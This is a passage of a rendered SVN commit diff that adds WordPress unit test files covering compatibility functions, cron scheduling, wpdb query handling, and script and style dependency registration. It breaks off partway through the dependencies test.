</ins></span></pre></div>
<a id="trunkteststestscompatphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/compat.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/compat.php                             (rev 0)
+++ trunk/tests/tests/compat.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group compat
+ */
+class Tests_Compat extends WP_UnitTestCase {
+       function test_mb_substr() {
+               $this->assertEquals('баб', _mb_substr('баба', 0, 3));
+               $this->assertEquals('баб', _mb_substr('баба', 0, -1));
+               $this->assertEquals('баб', _mb_substr('баба', 0, -1));
+               $this->assertEquals('I am your б', _mb_substr('I am your баба', 0, 11));
+       }
+
+       function test_hash_hmac_simple() {
+               $this->assertEquals('140d1cb79fa12e2a31f32d35ad0a2723', _hash_hmac('md5', 'simple', 'key'));
+               $this->assertEquals('993003b95758e0ac2eba451a4c5877eb1bb7b92a', _hash_hmac('sha1', 'simple', 'key'));
+       }
+
+       function test_hash_hmac_padding() {
+               $this->assertEquals('3c1399103807cf12ec38228614416a8c', _hash_hmac('md5', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+               $this->assertEquals('4428826d20003e309d6c2a6515891370daf184ea', _hash_hmac('sha1', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+       }
+
+       function test_hash_hmac_output() {
+               $this->assertEquals(array( 1 => '140d1cb79fa12e2a31f32d35ad0a2723'), unpack('H32', _hash_hmac('md5', 'simple', 'key', true)));
+               $this->assertEquals(array( 1 => '993003b95758e0ac2eba451a4c5877eb1bb7b92a'), unpack('H40', _hash_hmac('sha1', 'simple', 'key', true)));
+       }
+
+       function test_json_encode_decode() {
+               require_once( ABSPATH . WPINC . '/class-json.php' );
+               $json = new Services_JSON();
+               // Super basic test to verify Services_JSON is intact and working.
+               $this->assertEquals( '["foo"]', $json->encodeUnsafe( array( 'foo' ) ) );
+               $this->assertEquals( array( 'foo' ), $json->decode( '["foo"]' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscronphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/cron.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/cron.php                               (rev 0)
+++ trunk/tests/tests/cron.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,310 @@
</span><ins>+<?php
+
+/**
+ * Test the cron scheduling functions
+ *
+ * @group cron
+ */
+class Tests_Cron extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               // make sure the schedule is clear
+               _set_cron_array(array());
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               // make sure the schedule is clear
+               _set_cron_array(array());
+       }
+
+       function test_wp_get_schedule_empty() {
+               // nothing scheduled
+               $hook = rand_str();
+               $this->assertFalse(wp_get_schedule($hook));
+       }
+
+       function test_schedule_event_single() {
+               // schedule an event and make sure it's returned by wp_next_scheduled
+               $hook = rand_str();
+               $timestamp = strtotime('+1 hour');
+
+               wp_schedule_single_event( $timestamp, $hook );
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+               // it's a non recurring event
+               $this->assertEquals( '', wp_get_schedule($hook) );
+
+       }
+
+       function test_schedule_event_single_args() {
+               // schedule an event with arguments and make sure it's returned by wp_next_scheduled
+               $hook = rand_str();
+               $timestamp = strtotime('+1 hour');
+               $args = array(rand_str());
+
+               wp_schedule_single_event( $timestamp, $hook, $args );
+               // this returns the timestamp only if we provide matching args
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+               // these don't match so return nothing
+               $this->assertEquals( false, wp_next_scheduled($hook) );
+               $this->assertEquals( false, wp_next_scheduled($hook, array(rand_str())) );
+
+               // it's a non recurring event
+               $this->assertEquals( '', wp_get_schedule($hook, $args) );
+       }
+
+       function test_schedule_event() {
+               // schedule an event and make sure it's returned by wp_next_scheduled
+               $hook = rand_str();
+               $recur = 'hourly';
+               $timestamp = strtotime('+1 hour');
+
+               wp_schedule_event( $timestamp, $recur, $hook );
+               // it's scheduled for the right time
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+               // it's a recurring event
+               $this->assertEquals( $recur, wp_get_schedule($hook) );
+       }
+
+       function test_schedule_event_args() {
+               // schedule an event and make sure it's returned by wp_next_scheduled
+               $hook = rand_str();
+               $timestamp = strtotime('+1 hour');
+               $recur = 'hourly';
+               $args = array(rand_str());
+
+               wp_schedule_event( $timestamp, 'hourly', $hook, $args );
+               // this returns the timestamp only if we provide matching args
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+               // these don't match so return nothing
+               $this->assertEquals( false, wp_next_scheduled($hook) );
+               $this->assertEquals( false, wp_next_scheduled($hook, array(rand_str())) );
+
+               $this->assertEquals( $recur, wp_get_schedule($hook, $args) );
+
+       }
+
+       function test_unschedule_event() {
+               // schedule an event and make sure it's returned by wp_next_scheduled
+               $hook = rand_str();
+               $timestamp = strtotime('+1 hour');
+
+               wp_schedule_single_event( $timestamp, $hook );
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+               // now unschedule it and make sure it's gone
+               wp_unschedule_event( $timestamp, $hook );
+               $this->assertEquals( false, wp_next_scheduled($hook) );
+       }
+
+       function test_clear_schedule() {
+               $hook = rand_str();
+               $args = array(rand_str());
+
+               // schedule several events with and without arguments
+               wp_schedule_single_event( strtotime('+1 hour'), $hook );
+               wp_schedule_single_event( strtotime('+2 hour'), $hook );
+               wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+               wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+               // make sure they're returned by wp_next_scheduled()
+               $this->assertTrue( wp_next_scheduled($hook) > 0 );
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the no args events and make sure it's gone
+               wp_clear_scheduled_hook($hook);
+               $this->assertFalse( wp_next_scheduled($hook) );
+               // the args events should still be there
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the args events and make sure they're gone too
+               // note: wp_clear_scheduled_hook() expects args passed directly, rather than as an array
+               wp_clear_scheduled_hook($hook, $args[0]);
+               $this->assertFalse( wp_next_scheduled($hook, $args) );
+       }
+
+       function test_clear_schedule_multiple_args() {
+               $hook = rand_str();
+               $args = array(rand_str(), rand_str());
+
+               // schedule several events with and without arguments
+               wp_schedule_single_event( strtotime('+1 hour'), $hook );
+               wp_schedule_single_event( strtotime('+2 hour'), $hook );
+               wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+               wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+               // make sure they're returned by wp_next_scheduled()
+               $this->assertTrue( wp_next_scheduled($hook) > 0 );
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the no args events and make sure it's gone
+               wp_clear_scheduled_hook($hook);
+               $this->assertFalse( wp_next_scheduled($hook) );
+               // the args events should still be there
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the args events and make sure they're gone too
+               // note: wp_clear_scheduled_hook() used to expect args passed directly, rather than as an array pre WP 3.0
+               wp_clear_scheduled_hook($hook, $args[0], $args[1]);
+               $this->assertFalse( wp_next_scheduled($hook, $args) );
+       }
+
+       /**
+        * @ticket 10468
+        */
+       function test_clear_schedule_new_args() {
+               $hook = rand_str();
+               $args = array(rand_str());
+               $multi_hook = rand_str();
+               $multi_args = array(rand_str(), rand_str());
+
+               // schedule several events with and without arguments
+               wp_schedule_single_event( strtotime('+1 hour'), $hook );
+               wp_schedule_single_event( strtotime('+2 hour'), $hook );
+               wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+               wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+               wp_schedule_single_event( strtotime('+5 hour'), $multi_hook, $multi_args );
+               wp_schedule_single_event( strtotime('+6 hour'), $multi_hook, $multi_args );
+
+               // make sure they're returned by wp_next_scheduled()
+               $this->assertTrue( wp_next_scheduled($hook) > 0 );
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the no args events and make sure it's gone
+               wp_clear_scheduled_hook($hook);
+               $this->assertFalse( wp_next_scheduled($hook) );
+               // the args events should still be there
+               $this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+               // clear the schedule for the args events and make sure they're gone too
+               // wp_clear_scheduled_hook() should take args as an array like the other functions.
+               wp_clear_scheduled_hook($hook, $args);
+               $this->assertFalse( wp_next_scheduled($hook, $args) );
+
+               // clear the schedule for the args events and make sure they're gone too
+               // wp_clear_scheduled_hook() should take args as an array like the other functions and does from WP 3.0
+               wp_clear_scheduled_hook($multi_hook, $multi_args);
+               $this->assertFalse( wp_next_scheduled($multi_hook, $multi_args) );
+
+       }
+
+       /**
+        * @ticket 6966
+        */
+       function test_duplicate_event() {
+               // duplicate events close together should be skipped
+               $hook = rand_str();
+               $args = array(rand_str());
+               $ts1 = strtotime('+5 minutes');
+               $ts2 = strtotime('+3 minutes');
+
+               // first one works
+               wp_schedule_single_event( $ts1, $hook, $args );
+               // second one is ignored
+               wp_schedule_single_event( $ts2, $hook, $args );
+
+               // the next event should be at +5 minutes, not +3
+               $this->assertEquals( $ts1, wp_next_scheduled($hook, $args) );
+       }
+
+       /**
+        * @ticket 6966
+        */
+       function test_not_duplicate_event() {
+               // duplicate events far apart should work normally
+               $hook = rand_str();
+               $args = array(rand_str());
+               $ts1 = strtotime('+30 minutes');
+               $ts2 = strtotime('+3 minutes');
+
+               // first one works
+               wp_schedule_single_event( $ts1, $hook, $args );
+               // second works too
+               wp_schedule_single_event( $ts2, $hook, $args );
+
+               // the next event should be at +5 minutes, not +3
+               $this->assertEquals( $ts2, wp_next_scheduled($hook, $args) );
+               wp_unschedule_event( $ts2, $hook, $args );
+               // following event should be there too
+               $this->assertEquals( $ts1, wp_next_scheduled($hook, $args) );
+       }
+}
+
+/*
+ * Disable the WP Cron running test for the moment as it kills the whole test suite.
+ * TODO - Fix it to work with the new cron implementation in trunk
+ *
+class WPTestCronRunning extends _WPEmptyBlog {
+       function setUp() {
+               parent::setUp();
+               // make sure the schedule is clear
+               _set_cron_array(array());
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               // make sure the schedule is clear
+               _set_cron_array(array());
+       }
+       function _do_cron() {
+               // FIXME: wp-cron.php is difficult to test, could be wrapped in a function
+               $_GET['check'] = wp_hash('187425');
+               require(ABSPATH.'/wp-cron.php');
+       }
+
+       function test_run_schedule_single() {
+               // schedule an event, run it, and make sure the hook is called
+               $hook = rand_str();
+               $args = array(rand_str());
+               $timestamp = strtotime('-1 second');
+
+               // register a test action
+               $a = new MockAction();
+               add_action($hook, array(&$a, 'action'));
+
+               // schedule an event for 1 second ago
+               wp_schedule_single_event( $timestamp, $hook, $args );
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+
+               // run cron jobs
+               $this->_do_cron();
+
+               // our action should have been called once with the correct args
+               $this->assertEquals( 1, $a->get_call_count() );
+               $this->assertEquals( array($args), $a->get_args() );
+
+               // it shouldn't appear in the schedule anymore
+               $this->assertFalse( wp_next_scheduled($hook, $args) );
+
+       }
+
+       function test_run_schedule_recurring() {
+               // schedule a recurring event, run it, and make sure the hook is called
+               $hook = rand_str();
+               $args = array(rand_str());
+               $timestamp = strtotime('-1 second');
+               $recur = 'hourly';
+
+               // register a test action
+               $a = new MockAction();
+               add_action($hook, array(&$a, 'action'));
+
+               // schedule an event for 1 second ago
+               wp_schedule_event( $timestamp, $recur, $hook, $args );
+               $this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+               $this->assertEquals( $recur, wp_get_schedule($hook, $args) );
+
+               // run cron jobs
+               $this->_do_cron();
+
+               // our action should have been called once with the correct args
+               $this->assertEquals( 1, $a->get_call_count() );
+               $this->assertEquals( array($args), $a->get_args() );
+
+               // it should appear in the schedule to run again in an hour's time
+               $this->assertEquals( $timestamp + 3600, wp_next_scheduled($hook, $args) );
+
+       }
+}
+*/
</ins></span></pre></div>
<a id="trunkteststestsdbphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/db.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/db.php                         (rev 0)
+++ trunk/tests/tests/db.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,128 @@
</span><ins>+<?php
+
+/**
+ * Test WPDB methods
+ *
+ * @group wpdb
+ */
+class Tests_DB extends WP_UnitTestCase {
+
+       /**
+        * Query log
+        * @var array
+        */
+       protected $_queries = array();
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $this->_queries = array();
+               add_filter( 'query', array( $this, 'query_filter' ) );
+       }
+
+       /**
+        * Tear down the test fixture
+        */
+       public function tearDown() {
+               parent::tearDown();
+               remove_filter( 'query', array( $this, 'query_filter' ) );
+       }
+
+       /**
+        * Log each query
+        * @param string $sql
+        * @return string
+        */
+       public function query_filter( $sql ) {
+               $this->_queries[] = $sql;
+               return $sql;
+       }
+
+       /**
+        * Test that floats formatted as "0,700" get sanitized properly by wpdb
+        * @global mixed $wpdb
+        *
+        * @ticket 19861
+        */
+       public function test_locale_floats() {
+               global $wpdb;
+
+               // Save the current locale settings
+               $current_locales = explode( ';', setlocale( LC_ALL, 0 ) );
+
+               // Switch to Russian
+               $flag = setlocale( LC_ALL, 'ru_RU.utf8', 'rus', 'fr_FR.utf8', 'fr_FR', 'de_DE.utf8', 'de_DE', 'es_ES.utf8', 'es_ES' );
+               if ( false === $flag )
+                       $this->markTestSkipped( 'No European languages available for testing' );
+
+               // Try an update query
+               $wpdb->suppress_errors( true );
+               $wpdb->update(
+                       'test_table',
+                       array( 'float_column' => 0.7 ),
+                       array( 'meta_id' => 5 ),
+                       array( '%f' ),
+                       array( '%d' )
+               );
+               $wpdb->suppress_errors( false );
+
+               // Ensure the float isn't 0,700
+               $this->assertContains( '0.700', array_pop( $this->_queries ) );
+
+               // Try a prepare
+               $sql = $wpdb->prepare( "UPDATE test_table SET float_column = %f AND meta_id = %d", 0.7, 5 );
+               $this->assertContains( '0.700', $sql );
+
+               // Restore locale settings
+               foreach ( $current_locales as $locale_setting ) {
+                       if ( false !== strpos( $locale_setting, '=' ) ) {
+                               list( $category, $locale ) = explode( '=', $locale_setting );
+                               setlocale( constant( $category ), $locale );
+                       } else {
+                               setlocale( LC_ALL, $locale_setting );
+                       }
+               }
+       }
+
+       /**
+        * @ticket 18510
+        */
+       function test_wpdb_supposedly_protected_properties() {
+               global $wpdb;
+
+               $this->assertNotEmpty( $wpdb->dbh );
+               $dbh = $wpdb->dbh;
+               $this->assertNotEmpty( $dbh );
+               $this->assertTrue( isset( $wpdb->dbh ) ); // Test __isset()
+               unset( $wpdb->dbh );
+               $this->assertNull( $wpdb->dbh );
+               $wpdb->dbh = $dbh;
+               $this->assertNotEmpty( $wpdb->dbh );
+       }
+
+       /**
+        * @ticket 18510
+        */
+       function test_wpdb_nonexistent_properties() {
+               global $wpdb;
+
+               $this->assertNull( $wpdb->nonexistent_property );
+               $wpdb->nonexistent_property = true;
+               $this->assertTrue( $wpdb->nonexistent_property );
+               $this->assertTrue( isset( $wpdb->nonexistent_property ) );
+               unset( $wpdb->nonexistent_property );
+               $this->assertNull( $wpdb->nonexistent_property );
+       }
+
+       /**
+        * Test that an escaped %%f is not altered
+        * @ticket 19861
+        */
+       public function test_double_escaped_placeholders() {
+               global $wpdb;
+               $sql = $wpdb->prepare( "UPDATE test_table SET string_column = '%%f is a float, %%d is an int %d, %%s is a string', field = %s", 3, '4' );
+               $this->assertEquals( "UPDATE test_table SET string_column = '%f is a float, %d is an int 3, %s is a string', field = '4'", $sql );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsdependenciesjqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/dependencies/jquery.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/dependencies/jquery.php                                (rev 0)
+++ trunk/tests/tests/dependencies/jquery.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,62 @@
</span><ins>+<?php
+
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_jQuery extends WP_UnitTestCase {
+
+       function test_location_of_jquery() {
+               if ( SCRIPT_DEBUG ) {
+                       $jquery_scripts = array(
+                               'jquery-core'    => '/wp-includes/js/jquery/jquery.js',
+                               'jquery-migrate' => '/wp-includes/js/jquery/jquery-migrate.min.js'
+                       );
+               } else {
+                       $jquery_scripts = array(
+                               'jquery-core'    => '/wp-includes/js/jquery/jquery.js',
+                               'jquery-migrate' => '/wp-includes/js/jquery/jquery-migrate.js'
+                       );
+               }
+               $scripts = new WP_Scripts;
+               wp_default_scripts( $scripts );
+               $object = $scripts->query( 'jquery', 'registered' );
+               $this->assertInstanceOf( '_WP_Dependency', $object );
+        $this->assertEqualSets( $object->deps, array_keys( $jquery_scripts ) );
+        foreach( $object->deps as $dep ) {
+            $o = $scripts->query( $dep, 'registered' );
+            $this->assertInstanceOf( '_WP_Dependency', $object );
+            $this->assertTrue( isset( $jquery_scripts[ $dep ] ) );
+            $this->assertEquals( $jquery_scripts[ $dep ], $o->src );
+        }
+       }
+
+       function test_presence_of_jquery_no_conflict() {
+               $contents = trim( file_get_contents( ABSPATH . WPINC . '/js/jquery/jquery.js' ) );
+               $noconflict = 'jQuery.noConflict();';
+               $end = substr( $contents, - strlen( $noconflict ) );
+               $this->assertEquals( $noconflict, $end );
+       }
+
+       /**
+        * @ticket 22896
+        */
+       function test_dont_allow_deregister_core_scripts_in_admin() {
+               set_current_screen( 'edit.php' );
+               $this->assertTrue( is_admin() ) ;
+               $libraries = array(
+                       'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion',
+                       'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog',
+                       'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse',
+                       'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable',
+                       'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs',
+                       'jquery-ui-tooltip', 'jquery-ui-widget', 'backbone', 'underscore',
+               );
+               foreach ( $libraries as $library ) {
+                       // Try to deregister the script, which should fail.
+                       wp_deregister_script( $library );
+                       $this->assertTrue( wp_script_is( $library, 'registered' ) );
+               }
+               set_current_screen( 'front' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsdependenciesscriptsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/dependencies/scripts.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/dependencies/scripts.php                               (rev 0)
+++ trunk/tests/tests/dependencies/scripts.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,111 @@
</span><ins>+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Scripts extends WP_UnitTestCase {
+       var $old_wp_scripts;
+
+       function setUp() {
+               parent::setUp();
+               $this->old_wp_scripts = isset( $GLOBALS['wp_scripts'] ) ? $GLOBALS['wp_scripts'] : null;
+               remove_action( 'wp_default_scripts', 'wp_default_scripts' );
+               $GLOBALS['wp_scripts'] = new WP_Scripts();
+               $GLOBALS['wp_scripts']->default_version = get_bloginfo( 'version' );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_scripts'] = $this->old_wp_scripts;
+               add_action( 'wp_default_scripts', 'wp_default_scripts' );
+               parent::tearDown();
+       }
+
+       /**
+        * Test versioning
+        * @ticket 11315
+        */
+       function test_wp_enqueue_script() {
+               wp_enqueue_script('no-deps-no-version', 'example.com', array());
+               wp_enqueue_script('empty-deps-no-version', 'example.com' );
+               wp_enqueue_script('empty-deps-version', 'example.com', array(), 1.2);
+               wp_enqueue_script('empty-deps-null-version', 'example.com', array(), null);
+               $ver = get_bloginfo( 'version' );
+               $expected  = "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+               $expected .= "<script type='text/javascript' src='http://example.com?ver=$ver'></script>\n";
+               $expected .= "<script type='text/javascript' src='http://example.com?ver=1.2'></script>\n";
+               $expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+               $this->assertEquals($expected, get_echo('wp_print_scripts'));
+
+               // No scripts left to print
+               $this->assertEquals("", get_echo('wp_print_scripts'));
+       }
+
+       /**
+        * Test the different protocol references in wp_enqueue_script
+        * @global WP_Scripts $wp_scripts
+        * @ticket 16560
+        */
+       public function test_protocols() {
+               // Init
+               global $wp_scripts;
+               $base_url_backup = $wp_scripts->base_url;
+               $wp_scripts->base_url = 'http://example.com/wordpress';
+               $expected = '';
+               $ver = get_bloginfo( 'version' );
+
+               // Try with an HTTP reference
+               wp_enqueue_script( 'jquery-http', 'http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+               $expected  .= "<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+               // Try with an HTTPS reference
+               wp_enqueue_script( 'jquery-https', 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+               $expected  .= "<script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+               // Try with an automatic protocol reference (//)
+               wp_enqueue_script( 'jquery-doubleslash', '//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+               $expected  .= "<script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+               // Try with a local resource and an automatic protocol reference (//)
+               $url = '//my_plugin/script.js';
+               wp_enqueue_script( 'plugin-script', $url );
+               $expected  .= "<script type='text/javascript' src='$url?ver=$ver'></script>\n";
+
+               // Try with a bad protocol
+               wp_enqueue_script( 'jquery-ftp', 'ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' );
+               $expected  .= "<script type='text/javascript' src='{$wp_scripts->base_url}ftp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=$ver'></script>\n";
+
+               // Go!
+               $this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+
+               // No scripts left to print
+               $this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+
+               // Cleanup
+               $wp_scripts->base_url = $base_url_backup;
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_inline_should_not_output_script_tag_with_src() {
+               wp_enqueue_script( 'baba-inline-0', 'inline' );
+               $this->assertEquals( '', get_echo( 'wp_print_scripts' ) );
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_json_encode_should_not_encode_special_literal_values() {
+               $literal = new WP_JS_Literal( 'baba()' );
+               $this->assertEquals( '{"x":baba()}', WP_JS_Literal::json_encode( array( 'x' => $literal ), array( $literal ) ) );
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_json_encode_should_not_encode_special_literal_values_with_dependencies() {
+               $literal = new WP_JS_Literal( 'baba()', array( 'dep0', 'dep1' ) );
+               $this->assertEquals( '{"x":baba()}', WP_JS_Literal::json_encode( array( 'x' => $literal ), array( $literal ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsdependenciesstylesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/dependencies/styles.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/dependencies/styles.php                                (rev 0)
+++ trunk/tests/tests/dependencies/styles.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,87 @@
</span><ins>+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Styles extends WP_UnitTestCase {
+       var $old_wp_styles;
+
+       function setUp() {
+               parent::setUp();
+               $this->old_wp_styles = $GLOBALS['wp_styles'];
+               remove_action( 'wp_default_styles', 'wp_default_styles' );
+               $GLOBALS['wp_styles'] = new WP_Styles();
+               $GLOBALS['wp_styles']->default_version = get_bloginfo( 'version' );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_styles'] = $this->old_wp_styles;
+               add_action( 'wp_default_styles', 'wp_default_styles' );
+               parent::tearDown();
+       }
+
+       /**
+        * Test versioning
+        * @ticket 11315
+        */
+       function test_wp_enqueue_style() {
+               wp_enqueue_style('no-deps-no-version', 'example.com' );
+               wp_enqueue_style('no-deps-version', 'example.com', array(), 1.2);
+               wp_enqueue_style('no-deps-null-version', 'example.com', array(), null);
+               wp_enqueue_style('no-deps-null-version-print-media', 'example.com', array(), null, 'print');
+               $ver = get_bloginfo( 'version' );
+               $expected  = "<link rel='stylesheet' id='no-deps-no-version-css'  href='http://example.com?ver=$ver' type='text/css' media='all' />\n";
+               $expected .= "<link rel='stylesheet' id='no-deps-version-css'  href='http://example.com?ver=1.2' type='text/css' media='all' />\n";
+               $expected .= "<link rel='stylesheet' id='no-deps-null-version-css'  href='http://example.com' type='text/css' media='all' />\n";
+               $expected .= "<link rel='stylesheet' id='no-deps-null-version-print-media-css'  href='http://example.com' type='text/css' media='print' />\n";
+
+               $this->assertEquals($expected, get_echo('wp_print_styles'));
+
+               // No styles left to print
+               $this->assertEquals("", get_echo('wp_print_styles'));
+       }
+
+       /**
+        * Test the different protocol references in wp_enqueue_style
+        * @global WP_Styles $wp_styles
+        * @ticket 16560
+        */
+       public function test_protocols() {
+               // Init
+               global $wp_styles;
+               $base_url_backup = $wp_styles->base_url;
+               $wp_styles->base_url = 'http://example.com/wordpress';
+               $expected = '';
+               $ver = get_bloginfo( 'version' );
+
+               // Try with an HTTP reference
+               wp_enqueue_style( 'reset-css-http', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+               $expected  .= "<link rel='stylesheet' id='reset-css-http-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+               // Try with an HTTPS reference
+               wp_enqueue_style( 'reset-css-https', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+               $expected  .= "<link rel='stylesheet' id='reset-css-https-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+               // Try with an automatic protocol reference (//)
+               wp_enqueue_style( 'reset-css-doubleslash', '//yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+               $expected  .= "<link rel='stylesheet' id='reset-css-doubleslash-css'  href='//yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+               // Try with a local resource and an automatic protocol reference (//)
+               $url = '//my_plugin/style.css';
+               wp_enqueue_style( 'plugin-style', $url );
+               $expected  .= "<link rel='stylesheet' id='plugin-style-css'  href='$url?ver=$ver' type='text/css' media='all' />\n";
+
+               // Try with a bad protocol
+               wp_enqueue_style( 'reset-css-ftp', 'ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+               $expected  .= "<link rel='stylesheet' id='reset-css-ftp-css'  href='{$wp_styles->base_url}ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+               // Go!
+               $this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+               // No styles left to print
+               $this->assertEquals( '', get_echo( 'wp_print_styles' ) );
+
+               // Cleanup
+               $wp_styles->base_url = $base_url_backup;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsdependenciesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/dependencies.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/dependencies.php                               (rev 0)
+++ trunk/tests/tests/dependencies.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,176 @@
</span><ins>+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies extends WP_UnitTestCase {
+       function test_add() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $this->assertInstanceOf('_WP_Dependency', $dep->query( 'one' ));
+               $this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+               //Cannot reuse names
+               $this->assertFalse($dep->add( 'one', '' ));
+       }
+
+       function test_remove() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $dep->remove( 'one' );
+
+               $this->assertFalse($dep->query( 'one'));
+               $this->assertInstanceOf('_WP_Dependency', $dep->query( 'two' ));
+
+       }
+
+       function test_enqueue() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $dep->enqueue('one');
+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertFalse($dep->query( 'two', 'queue' ));
+
+               $dep->enqueue('two');
+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+       }
+
+       function test_dequeue() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $dep->enqueue('one');
+               $dep->enqueue('two');
